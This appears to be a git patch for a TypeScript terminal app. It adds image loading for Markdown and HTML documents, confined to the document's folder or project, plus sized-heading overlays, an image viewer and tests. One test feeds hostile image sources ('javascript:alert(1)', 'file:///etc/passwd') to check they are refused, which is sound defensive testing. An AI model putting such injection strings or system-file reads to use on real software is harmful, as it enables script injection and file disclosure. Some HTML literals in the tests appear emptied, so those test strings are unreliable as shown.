foreground(UI_COLORS.subtle); const rows: string[] = []; + const meta: Array<{block?: RowBlock; highlighted: boolean}> = []; let first = -1; let last = -1; for (let index = state.top; index < total && rows.length < body; index += 1) { @@ -493,14 +520,32 @@ export function renderViewer(state: ViewerState, columns: number, height: number if (rows.length >= body) return; const number = gutter ? `${subtle}${(offset === 0 && (index !== state.top || state.sub === 0) ? String(unit.number ?? '') : '').padStart(gutter - 1)}${RESET} ` : ''; rows.push(` ${number}${row}`); + meta.push({...(unit.block ? {block: unit.block} : {}), highlighted: highlights.length > 0}); }); if (first < 0) first = index; last = index; } + // Sized headings: drawn over their rows only when every row of the block is on screen and none holds a search match; + // anywhere else the heading shows as its ordinary styled text on its first row. + const overlays: TextOverlay[] = []; + const visibleRows = Math.max(0, height - 2 - out.length); + for (let at = 0; at < rows.length; at += 1) { + const block = meta[at]?.block; + if (!block?.sized || block.index !== 0 || meta[at]!.highlighted) continue; + let whole = at + block.of <= rows.length && at + block.of <= visibleRows; + for (let part = 0; whole && part < block.of; part += 1) { + const row = meta[at + part]; + whole = row?.block?.id === block.id && row.block.index === part && !row.highlighted; + } + if (!whole) continue; + overlays.push({x: 2 + gutter, y: 1 + out.length + at, columns: block.sized.columns, rows: block.sized.rows, sequence: block.sized.sequence}); + for (let part = 0; part < block.of; part += 1) rows[at + part] = ' '; + } + state.overlays = overlays; state.shown = first < 0 ? undefined : {first, last}; if (!total) rows.push(` ${subtle}${state.document.origin.kind === 'output' ? 'No output.' : 'Empty file.'}${RESET}`); while (rows.length < body) rows.push(''); - out.push(...rows, statusRow(state, Math.max(1, columns - 4), total), ...controls(state, columns).map(row => ` ${row}`)); + out.push(...rows, statusRow(state, Math.max(1, columns - 4), total), ...controls(state, columns, look).map(row => ` ${row}`)); const rule = framePanel([], columns)[0]!; if (height <= 1) return [rule].slice(0, Math.max(0, height)); return [...framePanel(out.slice(0, Math.max(0, height - 2)).map(row => truncateAnsi(row, columns)), columns), rule]; diff --git a/src/viewer/documentImages.ts b/src/viewer/documentImages.ts new file mode 100644 index 00000000..cecc6fee --- /dev/null +++ b/src/viewer/documentImages.ts @@ -0,0 +1,148 @@ +import fs from 'node:fs/promises'; +import path from 'node:path'; +import type {GraphicsService, LoadedImage} from '../graphics/service.js'; +import {GraphicsService as Service} from '../graphics/service.js'; +import {ImageError} from '../graphics/raster.js'; +import type {ImageProvider, ImageSlot} from '../markdown/render.js'; +import {renderHtml, renderMarkdown} from '../markdown/render.js'; +import type {ViewDocument} from './document.js'; + +/** + * The images of one open document. It is the renderer's `ImageProvider`, and the only thing that connects a Markdown or HTML + * document to the graphics service: + * + * - references are found by rendering the document once with a collecting provider (the same parser the viewer uses); + * - each is resolved relative to the document and must stay inside the document's folder, or its git project if it has + * one (`GraphicsService.resolveReference`); remote, `data:` and escaping references are never read; + * - loading is bounded (`MAX_IMAGES` per document, a few at a time, a deadline before the viewer opens, the rest later); + * - placements belong to this object, so closing the document releases everything uploaded for it. + */ +export const MAX_IMAGES = 24; +const CONCURRENCY = 3; + +type Entry = { + index: number; + src: string; + alt: string; + state: 'pending' | 'loading' | 'ready' | 'failed'; + image?: LoadedImage; + note?: string; + path?: string; +}; + +export class DocumentImages implements ImageProvider { + private readonly entries = new Map(); + private collecting = false; + private closed = false; + /** Bumped whenever an image finishes, so the viewer draws the document again. */ + version = 0; + + constructor(private readonly service: GraphicsService, private readonly base: string, private readonly root: string, private readonly changed: () => void = () => {}) {} + + get count(): number { return this.entries.size; } + + /** The images in order of first appearance, with their files (for the image viewer's list). */ + list(): Array<{index: number; src: string; alt: string; ready: boolean; path?: string; note?: string}> { + return [...this.entries.values()].map(entry => ({index: entry.index, src: entry.src, alt: entry.alt, ready: entry.state === 'ready', ...(entry.path ? {path: entry.path} : {}), ...(entry.note ? {note: entry.note} : {})})); + } + + slot(src: string, alt: string): ImageSlot | undefined { + let entry = this.entries.get(src); + if (!entry) { + if (this.entries.size >= MAX_IMAGES) return undefined; + entry = {index: this.entries.size, src, alt, state: 'pending'}; + this.entries.set(src, entry); + } + const current = entry; + return { + index: current.index, + ...(current.state !== 'ready' && current.note ? {note: current.note} : {}), + place: (columns, maxRows) => { + if (this.collecting || current.state !== 'ready' || !current.image || this.closed) return undefined; + const placement = this.service.place(current.image, {columns, rows: maxRows, owner: this, surface: 'inline'}); + return placement.kind === 'text' ? undefined : {lines: placement.lines, columns: placement.columns, rows: placement.rows}; + }, + }; + } + + /** Find every image reference of a Markdown or HTML document. */ + collect(document: ViewDocument): void { + if (document.format !== 'markdown' && document.format !== 'html') return; + this.collecting = true; + try { + if (document.format === 'html') renderHtml(document.text, 80, {images: this}); + else renderMarkdown(document.text, 80, {images: this, html: true}); + } finally { this.collecting = false; } + } + + /** Resolve and load the references, a few at a time, until done or `deadlineMs` has passed (the rest finish later). */ + async load(deadlineMs: number): Promise { + const pending = [...this.entries.values()].filter(entry => entry.state === 'pending'); + let next = 0; + const work = async () => { + while (next < pending.length && !this.closed) { + const entry = pending[next++]!; + entry.state = 'loading'; + entry.note = 'loading…'; + try { + const real = await Service.resolveReference(entry.src, this.base, this.root); + entry.path = real; + entry.image = await this.service.load(real); + entry.state = 'ready'; + delete entry.note; + } catch (error) { + entry.state = 'failed'; + entry.note = error instanceof ImageError ? shortReason(error) : 'could not be read'; + } + if (!this.closed) { this.version += 1; if (deadlineMs <= 0) this.changed(); } + } + }; + const all = Promise.all(Array.from({length: Math.min(CONCURRENCY, pending.length)}, work)); + if (deadlineMs > 0) { + await Promise.race([all, new Promise(done => { setTimeout(done, deadlineMs).unref?.(); })]); + // Whatever is still loading finishes after the viewer opens, and then asks for a redraw. + void all.then(() => { if (!this.closed) { this.version += 1; this.changed(); } }); + } else await all; + this.version += 1; + } + + /** The loaded image for the image viewer, loading it if it has not been yet. */ + async image(index: number): Promise { + const entry = [...this.entries.values()].find(item => item.index === index); + if (!entry) return undefined; + if (entry.state === 'ready') return entry.image; + if (entry.state === 'failed' && !entry.path) return undefined; + try { + const real = entry.path ?? await Service.resolveReference(entry.src, this.base, this.root); + entry.path = real; + entry.image = await this.service.load(real); + entry.state = 'ready'; + return entry.image; + } catch { return undefined; } + } + + close(): void { + this.closed = true; + this.service.releaseOwner(this); + } +} + +function shortReason(error: ImageError): string { + if (error.code === 'unsafe') return /Remote/u.test(error.message) ? 'remote images are not fetched' : /outside/u.test(error.message) ? 'outside this folder, not shown' : 'not shown'; + if (error.code === 'unavailable') return /not found/u.test(error.message) ? 'file not found' : 'not available'; + if (error.code === 'unsupported') return /SVG/u.test(error.message) ? 'SVG is not drawn' : 'unsupported format'; + if (error.code === 'too-large') return 'too large to show'; + return 'could not be shown'; +} + +/** The folder an image may come from: the document's git project when it has one (within a few levels), else its own folder. */ +export async function documentRoot(documentDirectory: string): Promise { + let directory = documentDirectory; + for (let level = 0; level < 12; level += 1) { + if (await fs.stat(path.join(directory, '.git')).then(() => true, () => false)) return directory; + const parent = path.dirname(directory); + if (parent === directory) break; + directory = parent; + } + return documentDirectory; +} diff --git a/tests/documentTypography.test.ts b/tests/documentTypography.test.ts new file mode 100644 index 00000000..e63c2d42 --- /dev/null +++ b/tests/documentTypography.test.ts @@ -0,0 +1,184 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {BASELINE_CAPABILITIES} from '../src/host/capabilities.js'; +import {renderHtml, renderMarkdown, type ImageProvider, type ImageSlot, type MarkdownRow} from '../src/markdown/render.js'; +import {configureTextSizing} from '../src/ui/textSizing.js'; +import {setSizedBackend, setTextSizing} from '../src/ui/typography.js'; +import {createViewer, renderViewer, viewerKey, type ViewerLook} from '../src/viewer/ViewerPanel.js'; +import type {ViewDocument} from '../src/viewer/document.js'; +import {displayWidth, stripAnsi} from '../src/util/text.js'; + +const scaled = {...BASELINE_CAPABILITIES, textSizing: {scale: true, width: true}}; +const enable = () => configureTextSizing({setting: 'auto', capabilities: scaled, env: {TERM_PROGRAM: 'kitty'}}); +const disable = () => { setSizedBackend(undefined); setTextSizing({mode: 'auto', capability: {scale: false, width: false}, knownUnrendered: false}); }; +const level = 'truecolor' as const; + +/** A provider with fixed outcomes per source. */ +function provider(ready: Record, notes: Record = {}): ImageProvider & {asked: string[]} { + const asked: string[] = []; + return { + asked, + slot(src: string, _alt: string): ImageSlot | undefined { + asked.push(src); + const rows = ready[src]; + return { + index: asked.length - 1, + ...(notes[src] ? {note: notes[src]} : {}), + place: (columns, maxRows) => rows === undefined ? undefined : {lines: Array.from({length: Math.min(rows, maxRows)}, () => 'X'.repeat(Math.min(columns, 6))), columns: Math.min(columns, 6), rows: Math.min(rows, maxRows)}, + }; + }, + }; +} +const plain = (rows: MarkdownRow[]) => rows.map(row => stripAnsi(row.ansi)); + +test('Markdown: an image alone in its paragraph becomes rows when it can be shown, otherwise a placeholder with the reason', () => { + const ready = provider({'assets/logo.png': 3}); + const rows = renderMarkdown('Intro\n\n![Logo](assets/logo.png)\n\nAfter', 60, {images: ready, level}); + assert.deepEqual(rows.map(row => row.kind), ['text', 'blank', 'image', 'image', 'image', 'blank', 'text']); + assert.deepEqual(rows.filter(row => row.kind === 'image').map(row => row.plain), ['[image: Logo]', '', ''], 'copy and search see the alt text once'); + assert.equal(rows[2]!.image, 0); + assert.ok(rows.every(row => displayWidth(row.ansi) <= 60)); + const refused = provider({}, {'https://x.test/a.png': 'remote images are not fetched'}); + const placeholder = renderMarkdown('![Banner](https://x.test/a.png)', 60, {images: refused, level}); + assert.equal(placeholder.length, 1); + assert.match(stripAnsi(placeholder[0]!.ansi), /\[image: Banner\] \(remote images are not fetched\)/u); + assert.equal(renderMarkdown('![Logo](assets/logo.png)', 60, {level})[0]!.plain, '[image: Logo]', 'no provider: the placeholder as before'); +}); + +test('Markdown: images among words stay placeholders; a linked image shows its host; several images stack; the row cap holds', () => { + const images = provider({'a.png': 2, 'b.png': 2, 'big.png': 40}); + const mixed = renderMarkdown('See ![a](a.png) in the text', 60, {images, level}); + assert.deepEqual(mixed.map(row => row.kind), ['text']); + assert.match(mixed[0]!.plain, /See \[image: a\] in the text/u); + const linked = renderMarkdown('[![CI](a.png)](https://example.com/ci)', 60, {images, level}); + assert.deepEqual(linked.map(row => row.kind), ['image', 'image', 'text']); + assert.match(linked.at(-1)!.plain, /example\.com/u); + const stack = renderMarkdown('![a](a.png) ![b](b.png)', 60, {images, level}); + assert.equal(stack.filter(row => row.kind === 'image').length, 4); + const capped = renderMarkdown('![big](big.png)', 60, {images, maxImageRows: 10, level}); + assert.equal(capped.filter(row => row.kind === 'image').length, 10); +}); + +test('HTML: sources reach the provider decoded and bounded, never fetched; scripts and odd schemes are just strings', () => { + const images = provider({'a&b.png': 1, 'p.png': 1}); + const rows = renderHtml('

Pair

Pic
', 60, {images, level}); + assert.deepEqual(images.asked.slice(0, 2), ['a&b.png', 'p.png']); + assert.equal(rows.filter(row => row.kind === 'image').length, 2); + const hostile = provider({}); + renderHtml('xyzw', 60, {images: hostile, level}); + assert.deepEqual(hostile.asked, ['javascript:alert(1)', 'file:///etc/passwd', 'data:image/png;base64,AAAA'], 'passed on as plain strings for the graphics service to refuse'); + const long = provider({}); + renderHtml(`long`, 60, {images: long, level}); + assert.ok(!long.asked[0] || long.asked[0].length <= 2000, 'an absurd source is bounded or ignored'); +}); + +test('headings: H1 to H6 map onto one scale, in Markdown and in HTML, only when the viewer asks and the terminal was shown to scale', () => { + enable(); + try { + const options = {sizedHeadings: {maxRows: 3}, level}; + const md = renderMarkdown('# One\n\n## Two\n\n### Three\n\n#### Four\n\n##### Five\n\n###### Six', 100, options); + const heads = md.filter(row => row.block?.index === 0 || row.kind === 'heading' && !row.block); + assert.deepEqual(heads.map(row => row.block?.of ?? 1), [3, 2, 2, 1, 1, 1]); + assert.match(heads[0]!.block!.sized!.sequence, /\u001b\]66;s=3;One\u001b\\/u); + assert.match(heads[1]!.block!.sized!.sequence, /\u001b\]66;s=2;Two\u001b\\/u); + assert.match(heads[2]!.block!.sized!.sequence, /\u001b\]66;s=2:n=3:d=4:v=2;Three\u001b\\/u); + const html = renderHtml('

One

Two

Three

Four

', 100, options); + assert.deepEqual(html.filter(row => row.block?.index === 0).map(row => row.block!.of), [3, 2, 2], 'the same typography for HTML headings'); + assert.equal(md.find(row => row.block?.index === 0)!.plain, 'One', 'search and copy see the words'); + assert.equal(md.filter(row => row.block && row.block.index > 0).every(row => row.plain === '' && stripAnsi(row.ansi) === ''), true); + assert.equal(renderMarkdown('# One', 100, {level}).some(row => row.block), false, 'not unless asked (transcripts, agent replies)'); + assert.equal(renderMarkdown('> # In a quote\n\n- # In a list', 100, options).some(row => row.block), false, 'a block cannot sit behind a bar or a bullet'); + assert.equal(renderMarkdown('# 日本語 heading', 100, options).some(row => row.block), false, 'text of uncertain width stays plain'); + assert.equal(renderMarkdown('# One', 50, options).find(row => row.block)?.block?.sized?.sequence.includes('s=2'), true, 'a narrower window gets 2x'); + assert.equal(renderMarkdown('# One', 30, options).some(row => row.block), false, 'a very narrow window gets ordinary text'); + } finally { disable(); } +}); + +test('headings keep their inline styling piece by piece, and plain rendering is unchanged without scaling', () => { + enable(); + try { + const rows = renderMarkdown('## Use `npm test` and **bold**', 100, {sizedHeadings: {maxRows: 3}, level}); + const sequence = rows[0]!.block!.sized!.sequence; + assert.equal((sequence.match(/\u001b\]66;/gu) ?? []).length, 4, 'one sized piece per styled span'); + assert.match(sequence, /\u001b\[1m[^]*Use /u); + assert.equal(stripAnsi(sequence.replace(/\u001b\]66;[^;]*;([^\u001b]*)\u001b\\/gu, '$1')), 'Use npm test and bold'); + } finally { disable(); } + const rows = renderMarkdown('# One', 100, {sizedHeadings: {maxRows: 3}, level}); + assert.deepEqual(rows.map(row => row.kind), ['heading']); + assert.equal(rows[0]!.block, undefined); +}); + +// ---- the viewer ------------------------------------------------------------------------------------------------------ + +function doc(text: string, format: ViewDocument['format'] = 'markdown'): ViewDocument { + return {title: 'README.md', origin: {kind: 'file', path: '/x/README.md', realPath: '/x/README.md', symlink: false, bytes: text.length, mtimeMs: 0}, lines: text.split('\n'), text, format, notes: [], lineEnding: 'lf', complete: true}; +} +const SOURCE = '# Title\n\nIntro paragraph.\n\n## Section\n\nMore text here.\n\n' + Array.from({length: 40}, (_, i) => `Line ${i}`).join('\n\n'); +const look: ViewerLook = {sized: true}; + +test('viewer: a sized heading is an overlay over its blank rows when every row is on screen; elsewhere its plain text', () => { + enable(); + try { + const state = createViewer(doc(SOURCE)); + const rows = renderViewer(state, 100, 30, look).map(row => stripAnsi(row)); + assert.equal(state.overlays?.length, 2, 'the H1 and the H2 are both on screen'); + const [first, second] = state.overlays!; + assert.equal(first!.rows, 3); + assert.equal(second!.rows, 2); + for (const block of state.overlays!) { + for (let row = block.y; row < block.y + block.rows; row += 1) assert.equal(rows[row]!.slice(block.x, block.x + block.columns).trim(), '', 'blank cells under the block'); + } + assert.ok(!rows.join('\n').includes('Title'), 'the words are in the sized block, not repeated as text'); + // Scrolled so the H1 is cut at the top: its plain row shows (if its first row is on screen) and no overlay is placed for it. + viewerKey(state, {kind: 'down'}, 100, 26, look); + renderViewer(state, 100, 30, look); + assert.equal(state.overlays!.length, 1); + viewerKey(state, {kind: 'down'}, 100, 26, look); + viewerKey(state, {kind: 'down'}, 100, 26, look); + const scrolled = renderViewer(state, 100, 30, look).map(row => stripAnsi(row)); + assert.equal(state.overlays!.length, 1); + assert.ok(!scrolled.join('\n').includes('Title')); + // A block at the bottom edge with only some rows visible is not placed. + const small = createViewer(doc('# Title\n\ntext')); + renderViewer(small, 100, 7, look); + assert.deepEqual(small.overlays, [], 'no room for three rows plus chrome: plain text'); + // Without scaling nothing changes. + disable(); + const plain = createViewer(doc(SOURCE)); + const plainRows = renderViewer(plain, 100, 30, {sized: true}).map(row => stripAnsi(row)); + assert.deepEqual(plain.overlays, []); + assert.ok(plainRows.join('\n').includes('Title')); + } finally { disable(); } +}); + +test('viewer: a search match in a heading shows plain text with the highlight; copy gives the source with no escape sequences', () => { + enable(); + try { + const state = createViewer(doc(SOURCE)); + renderViewer(state, 100, 30, look); + viewerKey(state, {kind: 'text', value: '/'}, 100, 26, look); + for (const char of 'Title') viewerKey(state, {kind: 'text', value: char}, 100, 26, look); + viewerKey(state, {kind: 'enter'}, 100, 26, look); + const rows = renderViewer(state, 100, 30, look).map(row => stripAnsi(row)); + assert.equal(state.overlays!.length, 1, 'the matching heading is drawn as text so the highlight shows'); + assert.ok(rows.join('\n').includes('Title')); + const action = viewerKey(state, {kind: 'text', value: 'c'}, 100, 26, look); + assert.equal(action?.kind, 'copy'); + assert.equal((action as {text: string}).text, SOURCE); + assert.doesNotMatch((action as {text: string}).text, /\u001b/u); + } finally { disable(); } +}); + +test('viewer: the i key opens the image nearest the top, and says so when a document has none', () => { + const images = Object.assign(provider({'a.png': 3, 'b.png': 3}), {count: 2, version: 1}); + const state = createViewer(doc('Intro\n\n![A](a.png)\n\ntext\n\n![B](b.png)')); + const withImages: ViewerLook = {images}; + renderViewer(state, 80, 40, withImages); + const action = viewerKey(state, {kind: 'text', value: 'i'}, 80, 36, withImages); + assert.deepEqual(action, {kind: 'image', index: 0}); + const none = createViewer(doc('no pictures')); + const empty: ViewerLook = {images: Object.assign(provider({}), {count: 0, version: 1})}; + renderViewer(none, 80, 20, empty); + assert.equal(viewerKey(none, {kind: 'text', value: 'i'}, 80, 16, empty), undefined); + assert.equal(none.note, 'No images in this document.'); +}); From bc478bfc124efd41e67c7a886523314cbd645bf1 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Tue, 20 Oct 2026 13:57:55 +0530 Subject: [PATCH 122/157] Images: /view image files, document images with the i key, image viewer with zoom and navigation, /doctor rows --- src/app/TerminalApp.ts | 178 +++++++++++++++++++++++++++++++++---- src/graphics/service.ts | 14 ++- src/viewer/ImagePanel.ts | 186 +++++++++++++++++++++++++++++++++++++++ tests/viewImages.test.ts | 157 +++++++++++++++++++++++++++++++++ 4 files changed, 515 insertions(+), 20 deletions(-) create mode 100644 src/viewer/ImagePanel.ts create mode 100644 tests/viewImages.test.ts diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 5ce318e5..fcba95d5 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -73,7 +73,7 @@ import {DEFAULT_REPORT_OPTIONS, describeFindings, redactText, scanSensitive, typ import {applyReportEdit, createReportReview, createTextReview, renderReportReview, reportReviewKey, type ReportReviewState} from '../ui/ReportReview.js'; import {configuredEditor} from '../host/HostActions.js'; import {comparePanelKey, createComparePanel, renderComparePanel, type ComparePanelState} from '../ui/ComparePanel.js'; -import {displayPath, loadFileDocument, outputDocument} from '../viewer/document.js'; +import {displayPath, loadFileDocument, outputDocument, resolveViewPath} from '../viewer/document.js'; import {createViewer, renderViewer, viewerKey, type ViewerLook, type ViewerState} from '../viewer/ViewerPanel.js'; import {createEditor, editorKey, renderEditor, type EditorAction, type EditorState} from '../viewer/EditorPanel.js'; import {openForEdit, saveFile} from '../viewer/fileEdit.js'; @@ -120,9 +120,9 @@ import { customColorEditor, } from '../ui/SettingsPanel.js'; import {OUTPUT_FOLDING_MODES} from '../output/FoldPolicy.js'; -import {accessSync, appendFileSync, constants, existsSync, mkdtempSync, readFileSync, realpathSync, rmSync, statSync, writeFileSync} from 'node:fs'; +import {accessSync, appendFileSync, constants, existsSync, mkdirSync, mkdtempSync, readFileSync, realpathSync, rmSync, statSync, writeFileSync} from 'node:fs'; import {shouldProbeGraphics} from '../host/capabilities.js'; -import {basename, delimiter, join, resolve as resolvePath} from 'node:path'; +import {basename, delimiter, dirname, extname, join, resolve as resolvePath} from 'node:path'; import {spawn} from 'node:child_process'; import {completionMenuRows, renderCompletion, renderCompletionMore, COMPLETION_ACTIONS} from '../shell/CompletionMenu.js'; import {CommandDescriptions, identityDescription} from '../shell/CommandDescriptions.js'; @@ -274,7 +274,7 @@ import {recipeRunAllowed} from '../ask/recipes.js'; import {openableUrl, projectRunAllowed, readProjectFacts} from '../ask/project.js'; import {ManagedTasks} from '../tasks/ManagedTasks.js'; import {CursorPresenter} from '../cursor/CursorPresenter.js'; -import {runDoctor} from '../doctor/doctor.js'; +import {runDoctor, type DoctorCheck} from '../doctor/doctor.js'; import {parseWatch, watchSafety, WatchTasks, type WatchSafety} from '../tasks/WatchTasks.js'; import {renderWatchPanel, watchNoticeRows, watchPanelKey, type WatchPanelState} from '../tasks/WatchPanel.js'; import {finalResultRows, trackBlockRows} from '../tasks/trackBlock.js'; @@ -293,7 +293,12 @@ import {splitBatch} from '../input/pasteBatch.js'; import {verifyCommands} from '../input/pasteBatchCheck.js'; import {WHY_FAILED} from '../ask/failure.js'; import {nmshConfigDirectory} from '../configuration/paths.js'; -import {configureTextSizing} from '../ui/textSizing.js'; +import {configureTextSizing, describeTextSizing, textSizingEnabled} from '../ui/textSizing.js'; +import {decideGraphics, describeGraphics} from '../graphics/capabilities.js'; +import {GraphicsService, type GraphicsHost} from '../graphics/service.js'; +import {ImageError} from '../graphics/raster.js'; +import {DocumentImages, documentRoot} from '../viewer/documentImages.js'; +import {createImageView, IMAGE_EXTENSIONS, imageViewKey, renderImageView, showImage, siblingImages, type ImageViewState} from '../viewer/ImagePanel.js'; import type {TextOverlay} from '../arcade/Canvas.js'; import {createDoctorPanel, doctorKey, renderDoctorPanel, type DoctorPanelState} from '../doctor/DoctorPanel.js'; import {signatureAccent} from '../session/signatures.js'; @@ -399,7 +404,7 @@ import type {WorkspaceEffect} from './workspaceHost.js'; import type {ActivationIntent} from '../workspace/resources.js'; import {agentBlocks, agentPanelRows, renderAgentPanel, renderAgentView, renderShelf, shelfOrder, type AgentPanelState, type AgentViewMeta, type AgentViewState} from '../agents/sessions/AgentViews.js'; import {harness} from '../agents/harnesses.js'; -import {defaultRuntimeDir, socketPathFor} from '../session/runtimeDir.js'; +import {defaultRuntimeDir, ensurePrivateRuntimeDir, socketPathFor} from '../session/runtimeDir.js'; /** Editor text that marks interactive history search. */ const HISTORY_SEARCH = '/history '; @@ -1288,6 +1293,8 @@ export class TerminalApp { * byte goes to the program. Reclaimed in onShellPrompt. */ private handOverTerminal(restore = ''): void { + // Images uploaded to the terminal are deleted before a program takes the screen. + this.graphics?.releaseAll(); // Before any of the program's bytes are forwarded: they must reach the terminal untranslated. this.outputProcessing.set(true); // A reply still arriving belongs to the program, which now receives every byte anyway. @@ -1771,6 +1778,15 @@ export class TerminalApp { this.render(); return; } + if (this.imageView) { + const view = this.imageView; + const action = imageViewKey(view, key); + if (action?.kind === 'close') this.closeImageView(); + else if (action?.kind === 'load') void this.loadImageEntry(view, action.index); + else if (action?.kind === 'copy') void this.copyText(action.text, action.label); + this.render(); + return; + } if (this.viewer) { const viewer = this.viewer; const {columns, rows} = this.dimensions(); @@ -1778,6 +1794,7 @@ export class TerminalApp { if (action?.kind === 'close') { this.viewer = undefined; this.returnFromPanel(); } else if (action?.kind === 'edit') { this.viewer = undefined; this.openTextEditor(action.path, '/edit', viewer); } else if (action?.kind === 'open') void this.openFromViewer(viewer, action); + else if (action?.kind === 'image') void this.openDocumentImage(viewer, action.index); else if (action?.kind === 'copy') { void this.copyText(action.text, 'Copied the document').then(note => { if (note && this.viewer === viewer) { viewer.note = note; this.render(); } }); } @@ -3798,15 +3815,99 @@ export class TerminalApp { } private viewerLook(): ViewerLook { - return {syntax: this.syntaxSgr, hyperlinks: this.host.capabilities.hyperlinks}; + return {syntax: this.syntaxSgr, hyperlinks: this.host.capabilities.hyperlinks, ...(this.viewerImages ? {images: this.viewerImages} : {}), sized: textSizingEnabled()}; + } + + /** The graphics service, created on first use; its host answers from the live capabilities and settings. */ + private graphicsService(): GraphicsService { + if (this.graphics) return this.graphics; + const host: GraphicsHost = { + decision: () => { + const {columns, rows} = this.dimensions(); + return decideGraphics({capabilities: this.host.capabilities, env: process.env, mode: this.promptConfiguration.graphicsMode, color: colorLevel(), safeGlyphs: getCurrentGlyphMode() === 'safe', columns, rows}); + }, + send: data => this.renderer.sendRaw(data), + scratchDir: () => { + const directory = join(defaultRuntimeDir(), 'images'); + try { ensurePrivateRuntimeDir(defaultRuntimeDir()); mkdirSync(directory, {recursive: true, mode: 0o700}); } catch { /* the converter reports it */ } + return directory; + }, + color: () => colorLevel(), + safeGlyphs: () => getCurrentGlyphMode() === 'safe', + }; + this.graphics = new GraphicsService(host); + return this.graphics; + } + + /** Close the document's images (their uploads go with them) when no document is open. */ + private releaseViewerImages(): void { + this.viewerImages?.close(); + this.viewerImages = undefined; + } + + /** `/view image.png`: the image viewer, with the folder's other images a keypress away. */ + private async openImageViewer(path: string, command: string): Promise { + const {entries, index} = await siblingImages(path); + if (this.stopped || this.hasModalInput()) return; + this.panelOrigin = undefined; + this.releaseViewerImages(); + this.viewer = undefined; + const view = createImageView(entries, index); + this.imageView = view; + this.render(); + await this.loadImageEntry(view, index, command); + } + + private async loadImageEntry(view: ImageViewState, index: number, command = '/view'): Promise { + const entry = view.entries[index]; + if (!entry) return; + view.loading = true; + this.render(); + try { + const image = await this.graphicsService().load(entry.path); + if (this.imageView === view && !this.stopped) showImage(view, index, image); + } catch (error) { + if (this.imageView === view && !this.stopped) showImage(view, index, undefined, error instanceof ImageError ? error.message : `${command}: the image could not be read.`); + } + this.render(); + } + + /** The image viewer for image `index` of the open document; Esc comes back to the document where it was. */ + private async openDocumentImage(viewer: ViewerState, index: number): Promise { + const images = this.viewerImages; + if (!images) return; + const list = images.list().filter(item => item.path); + const position = list.findIndex(item => item.index === index); + if (position < 0) { viewer.note = images.list().find(item => item.index === index)?.note ?? 'That image cannot be shown.'; this.render(); return; } + const view = createImageView(list.map(item => ({path: item.path!, name: item.path!.split('/').pop() ?? 'image', alt: item.alt})), position, {returnTo: viewer}); + this.viewer = undefined; + this.imageView = view; + await this.loadImageEntry(view, position); + } + + private closeImageView(): void { + const view = this.imageView; + if (!view) return; + this.imageView = undefined; + this.graphics?.releaseOwner(view.owner); + if (view.returnTo) this.viewer = view.returnTo; + else this.returnFromPanel(); + this.render(); + } + + /** The image viewer's overlay (iTerm2, Sixel) at its screen cells, or none. */ + private imageOverlay(plan: ScreenPlan, region: {top: number; height: number} | undefined): ImageOverlay | undefined { + const placed = this.imageView?.overlay; + if (!placed || !region || !plan.panelActive) return undefined; + const row = region.top + placed.y + (plan.panelPosition === 'top' ? -1 : 0); + if (row < region.top || row + placed.placement.size.rows > region.top + region.height) return undefined; + const column = placed.x + (this.workspace.open ? this.workspaceColumns().center.x : 0); + return {key: placed.placement.key, row, column, size: placed.placement.size, transmit: placed.placement.transmit, place: placed.placement.place, cleanup: placed.placement.cleanup}; } - /** - * /view: a completed output by its /copy number (the latest when no target is given), or a file relative to the - * shell's directory. The file is read asynchronously and read-only; a failure is reported in the transcript. - */ /** Apply the Text sizing setting and the probe's evidence to the typography module whenever either changes. */ private syncTypography(): void { + if (this.viewerImages && !this.viewer && !this.imageView) this.releaseViewerImages(); const capabilities = this.host.capabilities; const key = `${this.promptConfiguration.textSizing}|${capabilities.textSizing?.scale ?? '-'}|${capabilities.textSizing?.width ?? '-'}`; if (key === this.typographyKey) return; @@ -3897,6 +3998,10 @@ export class TerminalApp { if (restore) { this.returnFromPanel(); this.render(); } } + /** + * /view: a completed output by its /copy number (the latest when no target is given), or a file relative to the + * shell's directory. The file is read asynchronously and read-only; a failure is reported in the transcript. + */ private openViewer(target: string, command: string): void { this.viewerLoad?.abort(); this.viewerLoad = undefined; @@ -3910,16 +4015,32 @@ export class TerminalApp { this.openOutputViewer(record); return; } + // A picture opens in the image viewer; its text cannot be shown (binary), and SVG is source text, never drawn. + const imagePath = resolveViewPath(target, this.shellCwd); + if (IMAGE_EXTENSIONS.has(extname(imagePath).slice(1).toLowerCase())) { void this.openImageViewer(imagePath, command); return; } const load = new AbortController(); this.viewerLoad = load; - void loadFileDocument(target, this.shellCwd, {signal: load.signal}).then(result => { + void loadFileDocument(target, this.shellCwd, {signal: load.signal}).then(async result => { if (this.viewerLoad !== load || this.stopped) return; + if (!result.ok) { this.viewerLoad = undefined; this.output.addFrontendInteraction(command, result.reason, ERROR); this.render(); return; } + // Images of a Markdown or HTML file: found, resolved inside its folder or project and loaded within a short deadline. + let images: DocumentImages | undefined; + const document = result.document; + if ((document.format === 'markdown' || document.format === 'html') && document.origin.kind === 'file' && this.promptConfiguration.graphicsMode !== 'off') { + const base = dirname(document.origin.realPath); + images = new DocumentImages(this.graphicsService(), base, await documentRoot(base), () => { if (!this.stopped) this.render(); }); + images.collect(document); + if (images.count) await images.load(1200); + } + if (this.viewerLoad !== load || this.stopped) { images?.close(); return; } this.viewerLoad = undefined; - if (!result.ok) { this.output.addFrontendInteraction(command, result.reason, ERROR); this.render(); return; } // Another panel opened while the file was read: it keeps the keys; the file is not opened over it. - if (this.hasModalInput()) return; + if (this.hasModalInput()) { images?.close(); return; } this.panelOrigin = undefined; - this.viewer = createViewer(result.document); + this.releaseViewerImages(); + if (images?.count) this.viewerImages = images; + else images?.close(); + this.viewer = createViewer(document); this.render(); }); } @@ -5364,7 +5485,7 @@ export class TerminalApp { private get settingsPanelActive(): boolean { return this.hasModalInput(); } private hasModalInput(ignorePalette = false): boolean { - return Boolean(this.stopsEditor || this.chromeEditor || this.screensaverPanel || this.themeStudio || this.themeBridgePanel || this.rowPanel || this.copyPicker || this.summaryReview || this.reportReview || this.comparePanel || this.arcade || this.viewer || this.textEditor || this.background.panel || this.batchReview || this.pinsPanel || this.stripStudio || this.configureList || this.tmuxPanel || this.dotfiles || this.setupState || this.installPrompt || this.presetPanel || this.toolsPanel || this.toolConfigurationLoading || this.toolConfiguration || this.promptPanelState || this.transcriptPanelState || this.providerPanelState || 